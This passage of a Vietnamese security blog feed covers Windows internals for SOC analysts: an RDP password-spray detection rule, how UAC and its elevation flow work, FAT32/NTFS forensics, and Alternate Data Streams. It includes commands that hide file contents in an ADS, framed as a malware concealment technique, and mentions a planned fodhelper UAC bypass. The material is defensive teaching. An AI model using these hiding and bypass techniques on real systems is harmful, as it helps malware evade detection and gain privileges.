&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;frequency&amp;gt;&lt;/span&gt;5&lt;span style="color:#f92672"&gt;&amp;lt;/frequency&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;timeframe&amp;gt;&lt;/span&gt;300&lt;span style="color:#f92672"&gt;&amp;lt;/timeframe&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;description&amp;gt;&lt;/span&gt;RDP Password Spray - {frequency} tài khoản khác nhau đăng nhập RDP thất bại trong {timeframe} giây&lt;span style="color:#f92672"&gt;&amp;lt;/description&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/rule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc đọc hiểu cấu trúc Event Logs liên quan đến Authentication là kỹ năng nền tảng giúp SOC Analyst phân tách được các nỗ lực truy cập mạng hợp lệ khỏi các chiến dịch xâm nhập. Chỉ cần bắt được một gợn sóng nhỏ từ 4625 hay 4648, bạn hoàn toàn có thể chặt đứt cuộc tấn công ngay từ lúc kẻ gian đang đứng ngoài cửa. Ở bài viết tiếp theo, chúng bản phân tích kỹ hơn về dấu vết của Hacker sau khi chúng đã xâm nhập: Quản lý người dùng, tạo Backdoor và các log báo hiệu bị thay đổi đặc quyền (EID 4672, 4720, 4732). Hãy cùng theo dõi nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>User Account Control (UAC)</title><link>/post/windows-uac-secure-desktop/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/windows-uac-secure-desktop/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Nếu Registry là &amp;ldquo;bộ não&amp;rdquo;, Event Logs là &amp;ldquo;nhật ký&amp;rdquo;, thì UAC chính là &amp;ldquo;người gác cổng&amp;rdquo; khó tính nhất của Windows. Bạn từng tự hỏi tại sao mình đã đăng nhập bằng tài khoản Administrator mà thỉnh thoảng Windows vẫn làm tối đen màn hình và hỏi &amp;ldquo;Bạn có chắc chắn muốn chạy phần mềm này không?&amp;rdquo;. Hôm nay, chúng ta sẽ đi sâu vào hệ thống phân quyền phức tạp này để hiểu tại sao nó lại là chốt chặn bảo mật quan trọng nhất, và cách các tiến trình hệ thống như Appinfo hay consent.exe vận hành.&lt;/p&gt;
&lt;h2 id="1-bản-chất-của-uac-và-nguyên-lý-2-thẻ-bài-tokens"&gt;1. Bản chất của UAC và Nguyên lý 2 &amp;ldquo;Thẻ bài&amp;rdquo; (Tokens)
&lt;/h2&gt;&lt;p&gt;User Account Control (UAC) là một tính năng bảo mật nhằm ngăn chặn các thay đổi trái phép đối với hệ điều hành. Cơ chế cốt lõi của nó nghe có vẻ ngược đời: Ngay cả khi bạn đăng nhập bằng tài khoản Quản trị viên (Administrator), các ứng dụng mà bạn mở lên mặc định vẫn chỉ chạy với quyền Người dùng tiêu chuẩn (Standard User).&lt;/p&gt;
&lt;p&gt;Làm sao Windows làm được điều này? Nguyên lý nằm ở các &lt;strong&gt;Access Tokens&lt;/strong&gt; (Thẻ bài quyền lực). Khi bạn đăng nhập bằng tài khoản Admin, Windows thực chất không cấp cho bạn toàn quyền ngay lập tức. Thay vào đó, nó cấp cho bạn 2 &amp;ldquo;thẻ bài&amp;rdquo;: Một thẻ User thường và một thẻ Admin.&lt;/p&gt;
&lt;p&gt;Trong quá trình sử dụng bình thường (lướt web, gõ văn bản), hệ thống chỉ dùng thẻ User. Chỉ khi nào bạn (hoặc một ứng dụng) cần thực hiện các hành động &amp;ldquo;nhạy cảm&amp;rdquo; (như sửa Registry hệ thống, cài driver), UAC mới hiện ra bảng thông báo để bạn xác nhận &amp;ldquo;nâng quyền&amp;rdquo; (Elevation). Lúc này, thẻ Admin mới được rút ra để sử dụng.&lt;/p&gt;
&lt;h2 id="2-ranh-giới-ưu-tiên-integrity-levels-mức-độ-toàn-vẹn"&gt;2. Ranh giới ưu tiên: Integrity Levels (Mức độ toàn vẹn)
&lt;/h2&gt;&lt;p&gt;Để SOC Analyst có thể phát hiện tiến trình nào đang chạy quyền cao hay thấp, chúng ta dựa vào khái niệm &lt;strong&gt;Integrity Levels (IL)&lt;/strong&gt;. Hãy cùng làm một bài test thực tế: Mở hai cửa sổ Command Prompt (CMD), một cái mở bình thường (Open) và một cái mở bằng quyền Admin (Run as administrator).&lt;/p&gt;
&lt;p&gt;Nếu soi hai tiến trình này bằng công cụ Process Hacker hoặc Sysinternals, bạn sẽ thấy sự khác biệt &amp;ldquo;một trời một vực&amp;rdquo;:&lt;/p&gt;
&lt;h3 id="21-cửa-sổ-cmd-bình-thường-quyền-thấp"&gt;2.1 Cửa sổ CMD bình thường (Quyền thấp)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nhóm BUILTIN\Administrators:&lt;/strong&gt; Có cờ (Flag) là Deny. Điều này nghĩa là hệ thống đang nói: &amp;ldquo;Dù tài khoản của anh là Admin, nhưng cửa sổ này bị tước quyền quản trị&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrity Level:&lt;/strong&gt; Chạy ở mức &lt;em&gt;Medium Mandatory Level&lt;/em&gt;. Đây là mức độ trung bình mặc định của người dùng thường.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privileges (Đặc quyền):&lt;/strong&gt; Chỉ có một danh sách rất ngắn các quyền cơ bản, không thể can thiệp sâu vào hệ thống.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-cửa-sổ-cmd-run-as-administrator-quyền-cao"&gt;2.2 Cửa sổ CMD &amp;ldquo;Run as administrator&amp;rdquo; (Quyền cao)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nhóm BUILTIN\Administrators:&lt;/strong&gt; Có cờ là Owner. Cửa sổ này có toàn quyền thực thi các lệnh hệ thống.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrity Level:&lt;/strong&gt; Chạy ở mức &lt;em&gt;High Mandatory Level&lt;/em&gt;. Mọi tiến trình do CMD này sinh ra (như chạy file &lt;code&gt;.exe&lt;/code&gt;) đều sẽ kế thừa quyền High IL này.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privileges (Đặc quyền):&lt;/strong&gt; Danh sách dài hơn rất nhiều, bao gồm các quyền cực kỳ nguy hiểm như &lt;code&gt;SeBackupPrivilege&lt;/code&gt;, &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; và đặc biệt là &lt;code&gt;SeDebugPrivilege&lt;/code&gt; (quyền gỡ lỗi, thường bị malware lợi dụng để can thiệp bộ nhớ).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="So sánh một tiến trình Cmd thường và administrator" class="gallery-image" data-flex-basis="364px" data-flex-grow="151" height="431" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-uac-secure-desktop/sosanhcmd.png" width="654"&gt;&lt;/p&gt;
&lt;h2 id="3-secure-desktop-bức-tường-thành-cô-lập"&gt;3. Secure Desktop: Bức tường thành cô lập
&lt;/h2&gt;&lt;p&gt;Khi bảng thông báo UAC hiện lên, bạn có để ý rằng toàn bộ màn hình nền phía sau bị tối đen lại và bạn không thể click chuột vào bất kỳ ứng dụng nào khác không? Đó chính là tính năng &lt;strong&gt;Secure Desktop&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mục đích cốt lõi:&lt;/strong&gt; Secure Desktop tạo ra một màn hình nền hoàn toàn riêng biệt, cách ly bảng hỏi UAC khỏi không gian làm việc hiện tại. Nó đảm bảo rằng không có bất kỳ một phần mềm mã độc nào chạy ngầm có khả năng can thiệp hay &amp;ldquo;ấn hộ&amp;rdquo; bạn nút Yes. Chỉ có con người thật, cầm con chuột vật lý mới có thể tương tác với bảng thông báo này.&lt;/p&gt;
&lt;p&gt;Tùy vào nhu cầu, Windows cho phép bạn thiết lập 4 cấp độ (Level) của UAC trong cài đặt:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Always Notify:&lt;/strong&gt; Mức cao nhất, luôn làm tối màn hình (Secure Desktop) và hỏi khi có thay đổi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notify me only when apps try to make changes (Default):&lt;/strong&gt; Chỉ hỏi khi ứng dụng bên thứ ba thay đổi hệ thống, không hỏi khi bạn tự tay chỉnh cài đặt Windows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notify me only when apps try to make changes (Do not dim my desktop):&lt;/strong&gt; Giống mức 2 nhưng không làm tối màn hình. &lt;strong&gt;Góc nhìn SOC:&lt;/strong&gt; Mức này rất nguy hiểm vì không dùng Secure Desktop, mã độc có thể dùng kỹ thuật giả lập click chuột (Clickjacking) để tự bấm Yes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never Notify (Disable):&lt;/strong&gt; Tắt hoàn toàn UAC. Đây thực sự là &amp;ldquo;thiên đường&amp;rdquo; cho hacker, vì mã độc có thể tự do leo thang quyền hạn từ Medium lên High mà không gặp bất cứ rào cản nào.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="4 cấp độ uac" class="gallery-image" data-flex-basis="319px" data-flex-grow="133" height="547" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-uac-secure-desktop/4capuac.png" width="729"&gt;&lt;/p&gt;
&lt;h2 id="4-giải-phẫu-quy-trình-hoạt-động-của-uac"&gt;4. Giải phẫu quy trình hoạt động của UAC
&lt;/h2&gt;&lt;p&gt;Để qua mặt được UAC, hacker phải hiểu tường tận quy trình hệ thống xử lý yêu cầu nâng quyền. Dưới góc nhìn kỹ thuật, &amp;ldquo;trái tim&amp;rdquo; của UAC là Dịch vụ Thông tin Ứng dụng (Appinfo). Khi bạn click &amp;ldquo;Run as administrator&amp;rdquo;, 6 bước sau sẽ diễn ra trong chớp mắt:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Gửi yêu cầu:&lt;/strong&gt; Người dùng yêu cầu chạy một ứng dụng (ví dụ: &lt;code&gt;cmd.exe&lt;/code&gt;) với quyền quản trị.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gọi API:&lt;/strong&gt; Lệnh gọi API &lt;code&gt;ShellExecute&lt;/code&gt; của Windows được kích hoạt, mang theo một động từ (verb) đặc biệt là &lt;code&gt;runas&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Appinfo tiếp nhận:&lt;/strong&gt; Yêu cầu này không được xử lý ngay mà chuyển tiếp đến dịch vụ Appinfo để quản lý việc nâng quyền.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kiểm tra Manifest:&lt;/strong&gt; Dịch vụ Appinfo sẽ đọc tệp kê khai (Manifest) của ứng dụng đó để xem tính năng Tự động nâng quyền (&lt;code&gt;autoElevate&lt;/code&gt;) có được cho phép hay không. &lt;em&gt;(Bật mí: Hacker rất thích lợi dụng các file có sẵn autoElevate của Microsoft)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bật Secure Desktop:&lt;/strong&gt; Appinfo thực thi tiến trình &lt;code&gt;consent.exe&lt;/code&gt;. Chính &lt;code&gt;consent.exe&lt;/code&gt; là kẻ làm tối màn hình của bạn và vẽ ra cái bảng hỏi (Yes/No) trên môi trường Secure Desktop cô lập.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cấp &amp;ldquo;Thẻ bài&amp;rdquo;:&lt;/strong&gt; Nếu bạn bấm Yes đồng ý, dịch vụ Appinfo sẽ lấy cái Mã thông báo nâng cao (Elevated Token - thẻ Admin) của bạn ra và áp vào ứng dụng. Sau đó, ứng dụng sẽ chính thức được khởi chạy dưới quyền High Integrity.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="uac-steps-to-steps"&gt;&lt;img alt="UAC steps to steps" class="gallery-image" data-flex-basis="449px" data-flex-grow="187" height="585" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-uac-secure-desktop/steptostep.png" srcset="/post/windows-uac-secure-desktop/steptostep_hu_30595cc363097a48.png 800w, /post/windows-uac-secure-desktop/steptostep.png 1095w" width="1095"&gt;
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;UAC được thiết kế như một chốt chặn hoàn hảo giữa người dùng và quyền kiểm soát hệ thống. Tuy nhiên, không có bức tường thành nào là không thể vượt qua. Ở Bước 4 của quy trình trên, việc Windows cho phép một số tiến trình hệ thống được &amp;ldquo;Tự động nâng quyền&amp;rdquo; (AutoElevate) để tránh làm phiền người dùng chính là một lỗ hổng chí mạng. Trong bài viết tiếp theo, chúng ta sẽ trực tiếp thực hành đóng vai Hacker: Sử dụng tiến trình &lt;code&gt;fodhelper.exe&lt;/code&gt; kết hợp Registry Hijacking để lách qua UAC một cách &amp;ldquo;không kèn không trống&amp;rdquo; (UAC Bypass). Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>File System - NTFS, FAT32 và ADS</title><link>/post/file-system-ads/</link><pubDate>Fri, 08 May 2026 11:30:00 +0700</pubDate><guid>/post/file-system-ads/</guid><description>&lt;p&gt;Ở các bài viết trước, chúng ta đã &amp;ldquo;mổ xẻ&amp;rdquo; quá trình khởi động và đọc hiểu cấu trúc phân vùng ổ cứng ở mức vật lý. Nhưng khi hệ điều hành đã lên, làm sao nó biết tệp tin &lt;code&gt;malware.exe&lt;/code&gt; nằm ở đâu giữa hàng tỷ byte dữ liệu hỗn độn? Hôm nay, chúng ta sẽ bước vào thế giới của Hệ thống tệp (File System) – người quản lý kho vĩ đại của hệ điều hành, và khám phá những góc khuất mà hacker thường lợi dụng để ẩn mình.&lt;/p&gt;
&lt;h2 id="1-hệ-thống-tệp-file-system-thực-chất-là-gì"&gt;1. Hệ thống tệp (File System) thực chất là gì?
&lt;/h2&gt;&lt;p&gt;Nếu bạn tưởng tượng ổ cứng vật lý là một cái kho chứa khổng lồ trống rỗng, thì Tệp (File) chính là những thùng hàng chứa đồ đạc. Vậy Hệ thống tệp (File System) là gì? Nó chính là thủ kho và bộ sổ sách quản lý. Thủ kho sẽ quyết định thùng hàng này đặt ở kệ nào, ghi chú vào sổ để khi bạn cần, họ có thể lấy ra ngay lập tức.&lt;/p&gt;
&lt;p&gt;Về mặt kỹ thuật, đĩa vật lý chia thành các Sector (đơn vị lưu trữ nhỏ nhất, thường là 512 byte). Tuy nhiên, để quản lý dễ dàng hơn, hệ điều hành gom các Sector lại thành các Cluster (Liên cung). Một Cluster là &amp;ldquo;đơn vị thuê đất&amp;rdquo; nhỏ nhất; một tệp dù chỉ chứa 1 chữ cái cũng sẽ được cấp ít nhất 1 Cluster.&lt;/p&gt;
&lt;p&gt;Nếu không có Hệ thống tệp, dữ liệu trên ổ cứng sẽ chỉ là một khối bit khổng lồ không có điểm bắt đầu hay kết thúc.&lt;/p&gt;
&lt;h2 id="2-fat32-kẻ-lỗi-thời-nhưng-không-thể-thay-thế"&gt;2. FAT32: Kẻ lỗi thời nhưng không thể thay thế
&lt;/h2&gt;&lt;p&gt;FAT32 (File Allocation Table 32-bit) ra đời từ thời Windows 95 để thay thế cho FAT16, sử dụng 28-bit để đánh số Cluster. Mặc dù đã cũ, nó vẫn được dùng rất phổ biến trên USB, thẻ nhớ máy ảnh và các thiết bị IoT vì tính tương thích cao với mọi hệ điều hành.&lt;/p&gt;
&lt;h3 id="21-kiến-trúc-cốt-lõi-của-fat32"&gt;2.1 Kiến trúc cốt lõi của FAT32
&lt;/h3&gt;&lt;p&gt;Một phân vùng FAT32 được chia làm 3 vùng chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reserved Region (Vùng lưu trữ):&lt;/strong&gt; Chứa Boot Sector (Sector 0) lưu các tham số cấu hình BIOS (BPB) và FSInfo (Sector 1) lưu số lượng Cluster còn trống.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FAT Region (Vùng bảng FAT):&lt;/strong&gt; Cuốn &amp;ldquo;mục lục&amp;rdquo; khổng lồ của ổ đĩa. Nó chứa Bảng cấp phát tệp (thường có FAT1 và bản dự phòng FAT2) ghi lại tệp nào nằm ở Cluster nào và Cluster tiếp theo là gì.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Region (Vùng dữ liệu):&lt;/strong&gt; Nơi chứa nội dung thực sự của các tệp và Thư mục gốc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cơ chế nối xích (Cluster Chain):&lt;/strong&gt; Khi bạn lưu một file nặng 10KB vào đĩa có Cluster 4KB, file sẽ bị cắt làm 3 phần. Bảng FAT sẽ ghi lại mối liên kết: &amp;ldquo;Cluster A trỏ tới B&amp;rdquo;, &amp;ldquo;Cluster B trỏ tới C&amp;rdquo;, và &amp;ldquo;Cluster C là kết thúc (EOF)&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="22-những-giới-hạn-huyền-thoại-và-dấu-vết-forensics"&gt;2.2 Những giới hạn &amp;ldquo;huyền thoại&amp;rdquo; và Dấu vết Forensics
&lt;/h3&gt;&lt;p&gt;Điểm yếu chí mạng của FAT32 là nó chỉ hỗ trợ kích thước file tối đa 4GB và Windows mặc định chỉ cho tạo phân vùng tối đa 32GB. Ngoài ra, nó không hỗ trợ tính năng phân quyền bảo mật (như NTFS), ai cắm USB vào cũng có thể đọc được file.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Góc nhìn Forensics:&lt;/strong&gt; Khi một tệp bị xóa trên FAT32, hệ thống không hề xóa dữ liệu thực sự. Nó chỉ đổi ký tự đầu tiên của tên tệp thành mã Hex &lt;code&gt;0xE5&lt;/code&gt; để báo hiệu rằng vùng nhớ đó đã &amp;ldquo;được giải phóng&amp;rdquo;. Bằng các công cụ chuyên dụng (như Autopsy), SOC Analyst hoàn toàn có thể khôi phục lại (Carving) các tệp tin mã độc đã bị hacker vội vàng xóa đi.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-ntfs-kẻ-kế-thừa-mạnh-mẽ-và-phức-tạp"&gt;3. NTFS: Kẻ kế thừa mạnh mẽ và phức tạp
&lt;/h2&gt;&lt;p&gt;Để đáp ứng nhu cầu bảo mật và lưu trữ khổng lồ, Windows hiện đại chuyển sang dùng NTFS (New Technology File System). NTFS vượt qua giới hạn 4GB, hỗ trợ phân quyền truy cập (ACLs), nén file và đặc biệt là khả năng tự phục hồi nhờ tính năng Nhật ký (Journaling).&lt;/p&gt;
&lt;p&gt;Cấu trúc NTFS bao gồm: Boot Sector, MFT (Master File Table), MFT Mirror (bản sao dự phòng), và Vùng dữ liệu (Data Area).&lt;/p&gt;
&lt;h3 id="31-trái-tim-mft-master-file-table"&gt;3.1 &amp;ldquo;Trái tim&amp;rdquo; MFT (Master File Table)
&lt;/h3&gt;&lt;p&gt;MFT là một tệp đặc biệt có tên &lt;code&gt;$MFT&lt;/code&gt;. Trong NTFS, mọi thứ đều là một tệp, kể cả chính hệ thống tệp! Mỗi tệp, thư mục trên ổ đĩa đều có một bản ghi (Record) tương ứng bên trong MFT.&lt;/p&gt;
&lt;p&gt;Bản ghi MFT chứa siêu dữ liệu cực kỳ chi tiết: Tên tệp, quyền truy cập, dấu thời gian (MACB - Modified, Accessed, Created, Birth), và con trỏ trỏ đến vị trí Cluster chứa dữ liệu thực sự. Nếu một tệp có kích thước cực nhỏ, nội dung của nó thậm chí được lưu trực tiếp ngay bên trong bản ghi MFT (Resident Data)!&lt;/p&gt;
&lt;h3 id="32-camera-an-ninh-journaling-logfile-và-usnjrnl"&gt;3.2 &amp;ldquo;Camera an ninh&amp;rdquo; Journaling ($LogFile và $USNJrnl)
&lt;/h3&gt;&lt;p&gt;Đây là &amp;ldquo;mỏ vàng&amp;rdquo; cho Blue Team khi điều tra dấu vết mã độc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$LogFile&lt;/code&gt;:&lt;/strong&gt; Ghi lại mọi thay đổi siêu dữ liệu (tạo, xóa, sửa tệp) trước khi chúng được ghi xuống đĩa, giúp hệ thống khôi phục tính nhất quán nếu bị sập nguồn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$USNJrnl&lt;/code&gt; (Update Sequence Number Journal):&lt;/strong&gt; Nằm trong thư mục &lt;code&gt;$Extend&lt;/code&gt;, nó cung cấp bản ghi lịch sử mọi hoạt động của tệp tin. Nếu mã độc tạo một file rồi xóa ngay lập tức để phi tang, &lt;code&gt;$USNJrnl&lt;/code&gt; (cụ thể là luồng dữ liệu &lt;code&gt;$J&lt;/code&gt;) vẫn lưu lại mã sự kiện &lt;code&gt;USN_REASON_FILE_CREATE&lt;/code&gt; và &lt;code&gt;USN_REASON_FILE_DELETE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="USNJrn;" class="gallery-image" data-flex-basis="1074px" data-flex-grow="447" height="149" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/file-system-ads/image.png" width="667"&gt;&lt;/p&gt;
&lt;h2 id="4-alternate-data-streams-ads---kỹ-thuật-ẩn-mình-của-mã-độc"&gt;4. Alternate Data Streams (ADS) - Kỹ thuật ẩn mình của Mã độc
&lt;/h2&gt;&lt;p&gt;Cuối cùng, chúng ta sẽ đề cập đến góc khuất nguy hiểm nhất của NTFS: Alternate Data Streams (ADS).&lt;/p&gt;
&lt;p&gt;Theo thiết kế ban đầu, ADS là một tính năng ẩn giúp một tệp tin NTFS có thể chứa nhiều luồng dữ liệu (streams) khác nhau. Luồng chính chứa nội dung mà chúng ta nhìn thấy, trong khi luồng phụ chứa các siêu dữ liệu. Điển hình nhất, Windows dùng luồng &lt;code&gt;Zone.Identifier&lt;/code&gt; để đánh dấu các tệp được tải về từ Internet nhằm hiển thị cảnh báo bảo mật.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kỹ thuật giấu mã độc (Hide Payload):&lt;/strong&gt; Hacker nhận ra rằng luồng phụ của ADS có thể chứa một lượng dữ liệu bất kỳ mà dung lượng file hiển thị bên ngoài trong File Explorer không hề thay đổi. Chúng có thể đính kèm một mã độc nặng hàng chục Megabyte vào đằng sau một tệp &lt;code&gt;.txt&lt;/code&gt; vô hại nặng vài Kilobyte!&lt;/p&gt;
&lt;h3 id="41-thực-hành-tạo-và-phát-hiện-ads"&gt;4.1 Thực hành tạo và phát hiện ADS
&lt;/h3&gt;&lt;p&gt;Bạn có thể tự tay tạo một luồng ADS bằng lệnh Command Prompt rất đơn giản:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Nhét dòng chữ &amp;#34;hiden&amp;#34; vào luồng phụ mang tên &amp;#34;hiden&amp;#34; đằng sau tệp hiddendata.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;notepad hiddendata.txt:hiden
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Nhét toàn bộ nội dung của tệp hinhconmeo.jpg vào luồng ADS của file hiddendata.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; hinhconmeo.jpg &amp;gt; hiddendata.txt:hinhmeo.jpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Để phát hiện mã độc đang lẩn trốn trong ADS, lệnh &lt;code&gt;dir&lt;/code&gt; thông thường sẽ hoàn toàn vô dụng. Bạn bắt buộc phải thêm tham số &lt;code&gt;/r&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Kiểm tra các tệp có chứa luồng dữ liệu ẩn (ADS)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;dir&lt;/span&gt; /r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Khi chạy lệnh này, bạn sẽ thấy kết quả hiển thị dạng &lt;code&gt;&amp;lt;Tên_tệp&amp;gt;:&amp;lt;Tên_luồng&amp;gt;:$DATA&lt;/code&gt; (ví dụ: &lt;code&gt;hiddendata.txt:hiden:$DATA&lt;/code&gt;), bóc trần hoàn toàn vị trí ẩn náu của tệp tin độc hại.&lt;/p&gt;
&lt;h2 id="ads-hidden-file"&gt;&lt;img alt="ADS hidden file" class="gallery-image" data-flex-basis="472px" data-flex-grow="196" height="338" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/file-system-ads/ads.png" width="665"&gt;
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Tóm lại, hiểu thấu bề mặt cấu trúc File System không chỉ giúp chúng ta biết máy tính lưu trữ dữ liệu ra sao, mà còn cung cấp bộ công cụ tối thượng để săn lùng các đoạn mã độc cố tình bị xóa hoặc bị che giấu tinh vi. Trong bài viết tiếp theo, chúng sẽ chuyển hướng sang một khu vực nhạy cảm không kém: Giải phẫu &amp;ldquo;Bộ não&amp;rdquo; cấu hình Windows Registry và các điểm neo duy trì sự hiện diện của Malware. Các bạn nhớ đón đọc nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>User Mode, Kernel Mode</title><link>/post/work-mode-windows/</link><pubDate>Thu, 07 May 2026 21:30:00 +0700</pubDate><guid>/post/work-mode-windows/</guid><description>&lt;p&gt;Ở hai bài viết trước, chúng ta đã cùng nhau chứng kiến cách máy tính thức giấc và giải phẫu bề mặt vật lý của ổ cứng. Bây giờ, hệ điều hành đã được nạp thành công lên RAM. Nhưng làm sao Windows có thể quản lý hàng trăm phần mềm chạy cùng lúc mà không để chúng &amp;ldquo;dẫm chân&amp;rdquo; lên nhau hay làm sập toàn bộ hệ thống?&lt;/p&gt;
&lt;h2 id="1-ranh-giới-sinh-tử-user-mode-và-kernel-mode"&gt;1. Ranh giới sinh tử: User Mode và Kernel Mode
&lt;/h2&gt;&lt;p&gt;Để bảo vệ cốt lõi của mình, Windows chia không gian bộ nhớ và quyền thực thi lệnh thành hai thế giới song song và hoàn toàn cách biệt: User Mode (Chế độ người dùng) và Kernel Mode (Chế độ hạt nhân).&lt;/p&gt;
&lt;h3 id="11-kernel-mode---vùng-đất-của-những-vị-thần"&gt;1.1 Kernel Mode - Vùng đất của những &amp;ldquo;Vị thần&amp;rdquo;
&lt;/h3&gt;&lt;p&gt;Kernel Mode nắm giữ &amp;ldquo;thượng phương bảo kiếm&amp;rdquo; của hệ thống.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quyền hạn:&lt;/strong&gt; Có toàn quyền kiểm soát CPU, RAM và mọi thiết bị ngoại vi. Nó làm nhiệm vụ phân chia thời gian CPU cho các ứng dụng, quản lý bộ nhớ và điều khiển phần cứng qua các driver.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Không gian bộ nhớ:&lt;/strong&gt; Tất cả các thành phần chạy trong Kernel Mode dùng chung một vùng nhớ hệ thống duy nhất.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mức độ an toàn (Sự trả giá):&lt;/strong&gt; Vì dùng chung bộ nhớ và có quyền cao nhất, nếu bất kỳ một đoạn mã nào ở đây (như Kernel &lt;code&gt;ntoskrnl.exe&lt;/code&gt; hay một Driver card đồ họa) bị lỗi, hệ điều hành không thể tự phục hồi. Kết quả? Toàn bộ hệ thống sẽ sập, dẫn đến lỗi Màn hình xanh chết chóc (BSoD) huyền thoại.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-user-mode---khu-cách-ly-an-toàn"&gt;1.2 User Mode - Khu cách ly an toàn
